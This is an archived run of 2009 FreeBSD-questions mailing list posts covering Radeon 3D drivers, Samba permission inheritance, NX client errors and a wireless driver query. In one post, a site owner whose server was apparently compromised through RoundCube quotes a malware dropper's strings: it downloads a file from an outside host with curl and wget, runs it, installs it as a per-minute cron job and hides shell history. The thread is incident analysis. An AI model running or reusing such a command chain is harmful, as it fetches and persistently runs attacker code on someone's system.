iscariote@:/usr/obj/usr/src/ > > cheers! > > > sys/MYKERNEL amd64 > > First of, I's update to either 7.x stable or 8.0. Check the handbook on how to update your kernel/world http://www.freebsd.org/doc/en/books/handbook/makeworld.html Then get the radeonhd, which has 3d support for RV7xx chips (Your GPU should have a RV710) http://www.x.org/wiki/radeonhd To test opengl accell use glxgears located in graphics/mesa-demos. Have fun with it :-) Greetz, Mark > 2009/8/27 Mark Stapper > > > Jeronimo Calvo wrote: > > Hi folks, > > > > I am setting up a fresh installation of Freebsd on a EMT64 > machine... > > everything is working smooth so far, but im wondering some > things about the > > 3D support from my graphic card, i bought that card few weeks > ago (stupid me > > i didnt read about ATU support under FreeBSD before...) but btw > i can not > > step back... Im trying to get 3D aceleration for that card... > noticed that > > after setting up X11 xorg.conf... Driver used is "radeon", I'd > been reading > > about the possibility of using others... what is the best > option? I noticed > > that im unable to set activate the desktop affects, that makes > me wonder... > > that 3d is not working properly innit?? > > > > Can somebody help me with this?? > > > > Cheers fellas! > > _______________________________________________ > > freebsd-questions@freebsd.org > mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org > " > > > Hello, > > In order to help you we need some more information regarding your > system > and setup. > First of all: which hardware are you using exactly? Most > importantly the > make and model of you graphics card. > > Second: which version of FreeBSD are you using? Preferably, post th= e > output of the following command: > uname -a > > > Besides that I would give the redeonhd driver a go. > I don't have much experience with these though, As i have an > Nvidia card > (amd64 support please!! :'( ) > Greetz, > Mark > > --------------enig214BFFF7C5719A46BD163EDB Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkqWRBgACgkQN9xNqOOVnWCTMwCcDIjBPsO6+jMThxaBJ7q5A3up 6AsAnRcwEmQrAjAQX2rGkaaNyFB6S51P =H7L1 -----END PGP SIGNATURE----- --------------enig214BFFF7C5719A46BD163EDB-- From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 09:16:11 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8507D106568B for ; Thu, 27 Aug 2009 09:16:11 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id D0CF28FC1C for ; Thu, 27 Aug 2009 09:16:10 +0000 (UTC) Received: by bwz2 with SMTP id 2so760526bwz.43 for ; Thu, 27 Aug 2009 02:16:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=zbDgrSat9+Nj4NVDv0KGRPCcsfKFmYHpB9ujNJbK+EA=; b=jmOA1b3rgtIdJPkPOBfjYZPI9pPfajGLMGL3JhDiwWZ9vfLyAQKPrqzTFnfdr5Htgz h7Q6kDvwVQIVTtZnO14w+Eg4Utd1Ro+wBgk2/rpsGg3+2VGU5dP4TDK+geENafgzkPJJ UhuKLG7TPCZ1O4XnJBbfbvRXla4PDk++vxxJc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=TXn+7OfYy+r0g8XEIAlIbZE82D9BwtQtVJR25bh48Gs/DZdQtdcihfxOtvkv25DghA D/Z3XhNY2PaG66NyNJipDI/dd8v52IjWHdlW4tXM9KQ73RqdD5z3rk4Lu07c4apzPYGo mD6wfZYXQuG49dxoPxlodYECX+ojUkb4k4odE= MIME-Version: 1.0 Received: by 10.204.7.198 with SMTP id e6mr4582444bke.148.1251364569437; Thu, 27 Aug 2009 02:16:09 -0700 (PDT) In-Reply-To: <4A964415.6030008@mapper.nl> References: <4A963D85.2030505@mapper.nl> <4A964415.6030008@mapper.nl> Date: Thu, 27 Aug 2009 10:16:09 +0100 Message-ID: From: Jeronimo Calvo To: Mark Stapper Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: ATI HD 4550 xorg.conf "radeon" driver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 09:16:11 -0000 Thanks for the advice!! I will enjoy it for sure!! BTW i ordered both printer handbooks from FREEBSD Mall! to keep reading when goinn to the toilet! hahahah I tought that my version was already stable... when i downloaded... 7.2-RELEASE is the same as 7.2-CURRENT then?? Will be better to upgrade to v 8 or downgroaded to 7.0-STABLE? Thanks! 2009/8/27 Mark Stapper > Jeronimo Calvo wrote: > > Hi mate! > > > > > > The card is an: ATI Radeon=99 HD 4550 Graphics Technology running on: > > > > # uname -a > > FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 UTC > > 2009 iscariote@:/usr/obj/usr/src/ > > > > cheers! > > > > > > sys/MYKERNEL amd64 > > > > > First of, I's update to either 7.x stable or 8.0. > Check the handbook on how to update your kernel/world > http://www.freebsd.org/doc/en/books/handbook/makeworld.html > Then get the radeonhd, which has 3d support for RV7xx chips (Your GPU > should have a RV710) > http://www.x.org/wiki/radeonhd > To test opengl accell use glxgears located in graphics/mesa-demos. > Have fun with it :-) > Greetz, > Mark > > 2009/8/27 Mark Stapper > > > > > Jeronimo Calvo wrote: > > > Hi folks, > > > > > > I am setting up a fresh installation of Freebsd on a EMT64 > > machine... > > > everything is working smooth so far, but im wondering some > > things about the > > > 3D support from my graphic card, i bought that card few weeks > > ago (stupid me > > > i didnt read about ATU support under FreeBSD before...) but btw > > i can not > > > step back... Im trying to get 3D aceleration for that card... > > noticed that > > > after setting up X11 xorg.conf... Driver used is "radeon", I'd > > been reading > > > about the possibility of using others... what is the best > > option? I noticed > > > that im unable to set activate the desktop affects, that makes > > me wonder... > > > that 3d is not working properly innit?? > > > > > > Can somebody help me with this?? > > > > > > Cheers fellas! > > > _______________________________________________ > > > freebsd-questions@freebsd.org > > mailing list > > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > > To unsubscribe, send any mail to > > "freebsd-questions-unsubscribe@freebsd.org > > " > > > > > Hello, > > > > In order to help you we need some more information regarding your > > system > > and setup. > > First of all: which hardware are you using exactly? Most > > importantly the > > make and model of you graphics card. > > > > Second: which version of FreeBSD are you using? Preferably, post th= e > > output of the following command: > > uname -a > > > > > > Besides that I would give the redeonhd driver a go. > > I don't have much experience with these though, As i have an > > Nvidia card > > (amd64 support please!! :'( ) > > Greetz, > > Mark > > > > > > > From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 09:30:48 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 24079106568B for ; Thu, 27 Aug 2009 09:30:48 +0000 (UTC) (envelope-from reko.turja@liukuma.net) Received: from www.liukuma.net (www.liukuma.net [62.220.235.15]) by mx1.freebsd.org (Postfix) with ESMTP id D1E528FC2E for ; Thu, 27 Aug 2009 09:30:47 +0000 (UTC) Received: from localhost (unknown [127.0.0.1]) by www.liukuma.net (Postfix) with ESMTP id 16EB31CC5D; Thu, 27 Aug 2009 12:30:45 +0300 (EEST) X-Virus-Scanned: amavisd-new at liukuma.net Received: from www.liukuma.net ([127.0.0.1]) by localhost (www.liukuma.net [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id G3TWCcUyw4Ax; Thu, 27 Aug 2009 12:30:42 +0300 (EEST) Received: from rivendell (a88-114-134-146.elisa-laajakaista.fi [88.114.134.146]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) (Authenticated sender: ignatz@www.liukuma.net) by www.liukuma.net (Postfix) with ESMTPSA id ADFDF1CC5C; Thu, 27 Aug 2009 12:30:42 +0300 (EEST) Message-ID: <6DFAF6A1805D48FABE793388572490D5@rivendell> From: "Reko Turja" To: "John W" , References: In-Reply-To: Date: Thu, 27 Aug 2009 12:30:43 +0300 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: quoted-printable X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8064.206 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8064.206 Cc: Subject: Re: Can anyone reproduce this Samba problem? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 09:30:48 -0000 > Interestingly, if I turn off 'inherit permissions', then 'inherit > owner' DOES take effect correctly. However, that means the sticky=20 > bit > does not get inherited, which will not work for me. I need both to=20 > be > inherited, and for some reason they are behaving mutually-exclusive > (with 'inherit permissions' taking precedence). If I understood your problem correctly, you don't actually want to set=20 sticky bit on the root directory, but suid - so the chmod would be=20 like chmod 4xxx mydir In FreeBSD suid-bitted directory will make all the subdirs to inherit=20 the owner. Sticky bit causes bit different behaviour - see sticky (8) and=20 chmod(1) -Reko=20 From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 09:42:41 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 848B8106568F for ; Thu, 27 Aug 2009 09:42:41 +0000 (UTC) (envelope-from stark@mapper.nl) Received: from smtp-out3.tiscali.nl (smtp-out3.tiscali.nl [195.241.79.178]) by mx1.freebsd.org (Postfix) with ESMTP id 3089E8FC1C for ; Thu, 27 Aug 2009 09:42:41 +0000 (UTC) Received: from [82.170.17.27] (helo=mapper.nl) by smtp-out3.tiscali.nl with esmtp (Exim) (envelope-from ) id 1MgbVA-0001cL-6F; Thu, 27 Aug 2009 11:42:40 +0200 Received: from bowser ([192.168.0.1] helo=[0.0.0.0]) by mapper.nl with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1MgbUr-0000ec-9F; Thu, 27 Aug 2009 11:42:21 +0200 Message-ID: <4A9654F9.5040805@mapper.nl> Date: Thu, 27 Aug 2009 11:42:17 +0200 From: Mark Stapper User-Agent: Thunderbird 2.0.0.23 (Windows/20090812) MIME-Version: 1.0 To: Jeronimo Calvo References: <4A963D85.2030505@mapper.nl> <4A964415.6030008@mapper.nl> In-Reply-To: X-Enigmail-Version: 0.96.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigB44B8C6ADF85F52EDDF1C1DA" Cc: freebsd-questions@freebsd.org Subject: Re: ATI HD 4550 xorg.conf "radeon" driver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 09:42:41 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigB44B8C6ADF85F52EDDF1C1DA Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Jeronimo Calvo wrote: > Thanks for the advice!! I will enjoy it for sure!! BTW i ordered both > printer handbooks from FREEBSD Mall! to keep reading when goinn to the > toilet! hahahah > > I tought that my version was already stable... when i downloaded... > 7.2-RELEASE is the same as 7.2-CURRENT then?? > > Will be better to upgrade to v 8 or downgroaded to 7.0-STABLE? > > Thanks! Well, of course 7.2-RELEASE runs stable, but it's not the "STABLE" branch= =2E CURRENT is now FreeBSD 8. FreeBSD 8 is now in the last Beta stage, and will be ready to be released soon. So I'd update to FreeBSD 8 by updating world and using " tag=3DRELENG_8" (see /usr/share/examples/cvsup/stable-supfile for more info) basically you'd copy this file to you root's home dir, and find "tag=3DRELENG_7" (which indicates you would track the 7-STABLE branch) an= d replace it with "tag=3DRELENG_8". Now follow the handbook to install and configure your kernel and update and install world. If you complete this step successfully, you'll have learned a lot about FreeBSD :-) You should recompile/update your ports afterwards too. Don't forget to tweake /etc/make.conf (check out /usr/share/examples/etc/make.conf for guidance) Greetz, Mark > > 2009/8/27 Mark Stapper > > > Jeronimo Calvo wrote: > > Hi mate! > > > > > > The card is an: ATI Radeon=99 HD 4550 Graphics Technology > running on: > > > > # uname -a > > FreeBSD 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Mon Aug 24 18:59:43 U= TC > > 2009 iscariote@:/usr/obj/usr/src/ > > > > cheers! > > > > > > sys/MYKERNEL amd64 > > > > > First of, I's update to either 7.x stable or 8.0. > Check the handbook on how to update your kernel/world > http://www.freebsd.org/doc/en/books/handbook/makeworld.html > Then get the radeonhd, which has 3d support for RV7xx chips (Your G= PU > should have a RV710) > http://www.x.org/wiki/radeonhd > To test opengl accell use glxgears located in graphics/mesa-demos. > Have fun with it :-) > Greetz, > Mark > > 2009/8/27 Mark Stapper > >> > > > > Jeronimo Calvo wrote: > > > Hi folks, > > > > > > I am setting up a fresh installation of Freebsd on a EMT64 > > machine... > > > everything is working smooth so far, but im wondering some > > things about the > > > 3D support from my graphic card, i bought that card few wee= ks > > ago (stupid me > > > i didnt read about ATU support under FreeBSD before...) > but btw > > i can not > > > step back... Im trying to get 3D aceleration for that card.= =2E. > > noticed that > > > after setting up X11 xorg.conf... Driver used is "radeon", = I'd > > been reading > > > about the possibility of using others... what is the best > > option? I noticed > > > that im unable to set activate the desktop affects, that ma= kes > > me wonder... > > > that 3d is not working properly innit?? > > > > > > Can somebody help me with this?? > > > > > > Cheers fellas! > > > _______________________________________________ > > > freebsd-questions@freebsd.org > > > > mailing list > > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions= > > > To unsubscribe, send any mail to > > "freebsd-questions-unsubscribe@freebsd.org > > > >" > > > > > Hello, > > > > In order to help you we need some more information regarding > your > > system > > and setup. > > First of all: which hardware are you using exactly? Most > > importantly the > > make and model of you graphics card. > > > > Second: which version of FreeBSD are you using? Preferably, > post the > > output of the following command: > > uname -a > > > > > > Besides that I would give the redeonhd driver a go. > > I don't have much experience with these though, As i have an > > Nvidia card > > (amd64 support please!! :'( ) > > Greetz, > > Mark > > > > > > > --------------enigB44B8C6ADF85F52EDDF1C1DA Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkqWVPwACgkQN9xNqOOVnWDJjwCfbAkcWAKR+MmCETD9rOaRDUjm h3IAn3TKSW+EZ+5n00wZSJ5R7kITS89e =G0jk -----END PGP SIGNATURE----- --------------enigB44B8C6ADF85F52EDDF1C1DA-- From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 09:52:03 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A2C23106568B for ; Thu, 27 Aug 2009 09:52:03 +0000 (UTC) (envelope-from bounces@nabble.com) Received: from kuber.nabble.com (kuber.nabble.com [216.139.236.158]) by mx1.freebsd.org (Postfix) with ESMTP id 7551B8FC35 for ; Thu, 27 Aug 2009 09:52:03 +0000 (UTC) Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1MgbeE-0007mm-Qd for freebsd-questions@freebsd.org; Thu, 27 Aug 2009 02:52:02 -0700 Message-ID: <25167487.post@talk.nabble.com> Date: Thu, 27 Aug 2009 02:52:02 -0700 (PDT) From: Colin Brace To: freebsd-questions@freebsd.org In-Reply-To: <25149559.post@talk.nabble.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: cb@lim.nl References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> <20090825134250.GA6871@ei.bzerk.org> <25135959.post@talk.nabble.com> <4A943A9B.1030703@cyberleo.net> <25143778.post@talk.nabble.com> <25149271.post@talk.nabble.com> <25149559.post@talk.nabble.com> Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 09:52:03 -0000 Colin Brace wrote: > > ahhhhh, another directory found in /tmp with files written by www called > .bash/ Contents here: > > http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz > Apropos of the contents of the above, a correspondent writes: [...] running 'strings' on /tmp/owned will show "HISTFILE=/dev/null cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null echo '*/1 * * * * perl /tmp/tmpfile' >cron.job crontab cron.job rm -rf cron.job chmod 0100 /tmp/tmpfile 2>&1 >/dev/null perl /tmp/tmpfile 2>&1 >/dev/null" [...] So this would be the original mischief-maker. Just out of curiousity, can someone explain to me in basic terms how an intruder exploits a vulnerability such as apparently existed on my system (the RoundCube webmail package was apparently the culprit) to place the binary file "owned" in /tmp and execute it? Thanks ----- Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25167487.html Sent from the freebsd-questions mailing list archive at Nabble.com. From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 11:31:31 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EDAE5106568E for ; Thu, 27 Aug 2009 11:31:31 +0000 (UTC) (envelope-from gpagnoni@gmail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id 865BE8FC33 for ; Thu, 27 Aug 2009 11:31:31 +0000 (UTC) Received: by fxm6 with SMTP id 6so822477fxm.43 for ; Thu, 27 Aug 2009 04:31:30 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=LVwkA3Y3QAPIsl6Aw1cAlNm8x1QigUwrAaY5KKqR8DA=; b=AXzOknPwQsZAyPlDS/WOVRprDwHouE469w4DokIFttEqPa5ldpRyq6/MMtpxFS33Wv LBmvgVdU1PEroQCLPVP6dbfkO84YzrrFRgVbkm9zst50Y/TdZ5U90ND2yRF/cvMVeEqU eyP+8zQ+08eVFnLVbOqw7PYnLurLTvYU/Lil8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=xg/pIe3ZdcleZu/xH4zi/wIzQLyjWWmLPLOZH9dLa2NZKhxuDDS1Sr5HXG21Uhsk+W DAcLMvUPf8ASrf/AA/GFa4oF6AGnhvMGWXcBFasKnrnoRJQxPa7d5KyfG8fSLb+IjxKl 11/WgEXXzOopKvUQb/wO8Umr7xzJBNsg35pWE= MIME-Version: 1.0 Received: by 10.223.77.130 with SMTP id g2mr6548964fak.35.1251371267774; Thu, 27 Aug 2009 04:07:47 -0700 (PDT) Date: Thu, 27 Aug 2009 13:07:47 +0200 Message-ID: <92056ebc0908270407u7a049410p81d26f86cafb70c9@mail.gmail.com> From: Giuseppe Pagnoni To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Subject: freenx X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 11:31:32 -0000 Dear all, I am trying to use nxclient on a FreeBSD machine (i386, 7.2 Rel). I installed freenx but I can't figure out how to use it to connect to a remote machine. It seems that the port does not put any executable into any standard path. If I enter in a terminal: /usr/local/NX/bin/nxclient I get the following message: getopt: illegal option -- o Terminating... I had previously used NXclient but through a GUI interface. I couldn't find a way to start a GUI here or even figure out the required command line syntax (no man pages installed, no --help option available,...). Did anybody know how to make this work (if it actually does..)? thanks in advance for any suggestion best giuseppe -- Giuseppe Pagnoni Dip. Scienze Biomediche Sezione Fisiologia Univ. di Modena e Reggio Emilia Via Campi 287 I-41100 Modena, Italy Tel: +39-059-205-5742 Fax: +39-059-205-5363 From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 12:02:37 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C063F1065693 for ; Thu, 27 Aug 2009 12:02:37 +0000 (UTC) (envelope-from martinrame@yahoo.com) Received: from web35607.mail.mud.yahoo.com (web35607.mail.mud.yahoo.com [66.163.179.146]) by mx1.freebsd.org (Postfix) with SMTP id 67D358FC4A for ; Thu, 27 Aug 2009 12:02:37 +0000 (UTC) Received: (qmail 54369 invoked by uid 60001); 27 Aug 2009 12:02:36 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1251374556; bh=0s6lXK1EGIuYBAeEXTQdPgsGw9WhdKZMRbZrx7qeGyM=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=pebLgQ+s2lR9ZX8THoN3ry4Mkyk8IUyQ/5TLxmGnzfoFgCtBrBYkVAZvc2gqwQabUUacptPJE6tSh2cqI2Gxs6exnJtmRlW7hSdUw+ec+Py+6jd5fXNrzJw9R2kaouu2Rs9aqDKrhB56AtajQpwTnZBjiz3sWx+X8bcQ/i8dtlA= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=JyPjoHhn1DxplA9Ax8l/mvNZPUOq6kOr9ebgShZLqkbV2zpBSHGeM9mwy+NobCaL1afl0PdVh/OxZT2l4PY8NXpHQbOVH15NVVhYJQqyF4bDgVy7OxXutMwZu+5rsULEeIokf9R9FSfgyCQ/ciE/uoFwERGaoFiIdijKXfqRagY=; Message-ID: <868466.53371.qm@web35607.mail.mud.yahoo.com> X-YMail-OSG: bGl3iFsVM1nlcJcCbq5VrRc5v1gry6ZQnyXyaVtOpzfeDHCUQlir2FvXO2tGNru1bs8MSl1oqtA5HlzAUl.GxmoDPq7E0jJgiIiTQsvDMzG6Un_a6ZtvVi_q_bxxCGLh.lqO5yXREHCTaYv0cBtXMRcqCWzVuKPDEfx4GYCZTvvveonpX7xh3NccLEzetSoZRPPuSYS3gAce5k2phm7c0IRaFmsL4yrrVVeBrbFQKx7BQs1hGHnHjHsVHbMxydnTHXMhgxVsNtSoIAoxrZmc7dj3VpCD92JtbHoQ5BYevfPP.n7PulXucovZ7TUQTDUVm3cC261wrZWtyj2eQi23P41wkHv9vkWrnMaRVoYbe.BA Received: from [200.55.38.210] by web35607.mail.mud.yahoo.com via HTTP; Thu, 27 Aug 2009 05:02:36 PDT X-Mailer: YahooMailClassic/6.1.2 YahooMailWebService/0.7.338.2 Date: Thu, 27 Aug 2009 05:02:36 -0700 (PDT) From: =?iso-8859-1?Q?Leonardo_M=2E_Ram=E9?= To: freebsd-questions@freebsd.org In-Reply-To: <92056ebc0908270407u7a049410p81d26f86cafb70c9@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Subject: Intel Pro Wireless 5100 AGN X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 12:02:37 -0000 Any news about the Intel Pro Wireless 5100 AGN driver for FreeBSD 7.2 - Amd= 64? Leonardo M. Ram=E9 http://leonardorame.blogspot.com =0A=0A=0A From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 13:10:48 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 678E3106568B for ; Thu, 27 Aug 2009 13:10:48 +0000 (UTC) (envelope-from gpagnoni@gmail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id ED72A8FC3C for ; Thu, 27 Aug 2009 13:10:47 +0000 (UTC) Received: by bwz2 with SMTP id 2so879055bwz.43 for ; Thu, 27 Aug 2009 06:10:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=fOGDmVb953k9Z8XG0EBbmlEJ7sCuAV+1zx0tXJZu32s=; b=RvTdWkzNa2iBzZFPDk9ODOLllXyfidjoFxvJG8WwQwEs/A1m0eyi5mM2XU7lJIj6yN CfOQ4N9NrdDZM24Aa51//xQj+L2Jw5Ejyg+rcu+P4Ow6roOBQmsG8yLIazDO0ZRbWfIK OZ1WfLMfPpQXCNIV+O7BLdfFIIe8VwJ0QGDrM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=SKl7prd8vbErzmwsyBes1u9MRTA19kqJ2m8BE61UIPxy7iJTyKCfb7UrdA5MSPHvuL Xq6EaZAqhyIFAXrT3UmxcsL5sQEvC+g+1rHT8LOR9CF6vr0YfcmIpgj+iEMXGI2CpNpJ mO82zsuk47RXrV1mlOg0LoO1N7OUHt5EfB/kY= MIME-Version: 1.0 Received: by 10.223.15.17 with SMTP id i17mr6639381faa.75.1251378646932; Thu, 27 Aug 2009 06:10:46 -0700 (PDT) Date: Thu, 27 Aug 2009 15:10:46 +0200 Message-ID: <92056ebc0908270610r2a38frf2bcdc671bee095d@mail.gmail.com> From: Giuseppe Pagnoni To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Subject: linux-nx-client: connection error X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Aug 2009 13:10:48 -0000 Hi all, I am trying to connect from my machine (i386, FreeBSD 7.2 Rel) to a remote machine using linux-nx-client. I get through the authentication phase just fine, but soon after that the connection stops. Here is the message that comes up when I hit the "Details" button: NXPROXY - Version 2.1.0 Copyright (C) 2001, 2006 NoMachine. See http://www.nomachine.com/ for more information. Info: Proxy running in client mode with pid '29650'. Session: Starting session at 'Thu Aug 27 14:57:33 2009'. Error: Failed to set TCP_NODELAY flag on FD#9 to 1. Error is 22 'Invalid argument'. Info: Aborting the procedure due to signal '15'. Even when I check the option: "Disable no-delay on TCP connection" under the Configuration settings (Advanced tab), the error does not change. Does anybody have any suggestion? thanks in advance giuseppe -- Giuseppe Pagnoni Dip. Scienze Biomediche Sezione Fisiologia Univ. di Modena e Reggio Emilia Via Campi 287 I-41100 Modena, Italy Tel: +39-059-205-5742 Fax: +39-059-205-5363 From owner-freebsd-questions@FreeBSD.ORG Thu Aug 27 14:14:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 09C18106568E for ; Thu, 27 Aug 2009 14:14:06 +0000 (UTC) (envelope-from apseudoutopia@gmail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id 8AB248FC2F for ; Thu, 27 Aug 2009 14:14:05 +0000 (UTC) Received: by bwz2 with SMTP id 2so920159bwz.43 for ; Thu, 27 Aug 2009 07:14:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type :content-transfer-encoding; bh=SfQp/M81sYGzDP9fAfOCaVHumInFr39XhvMxrpNF6Ko=; 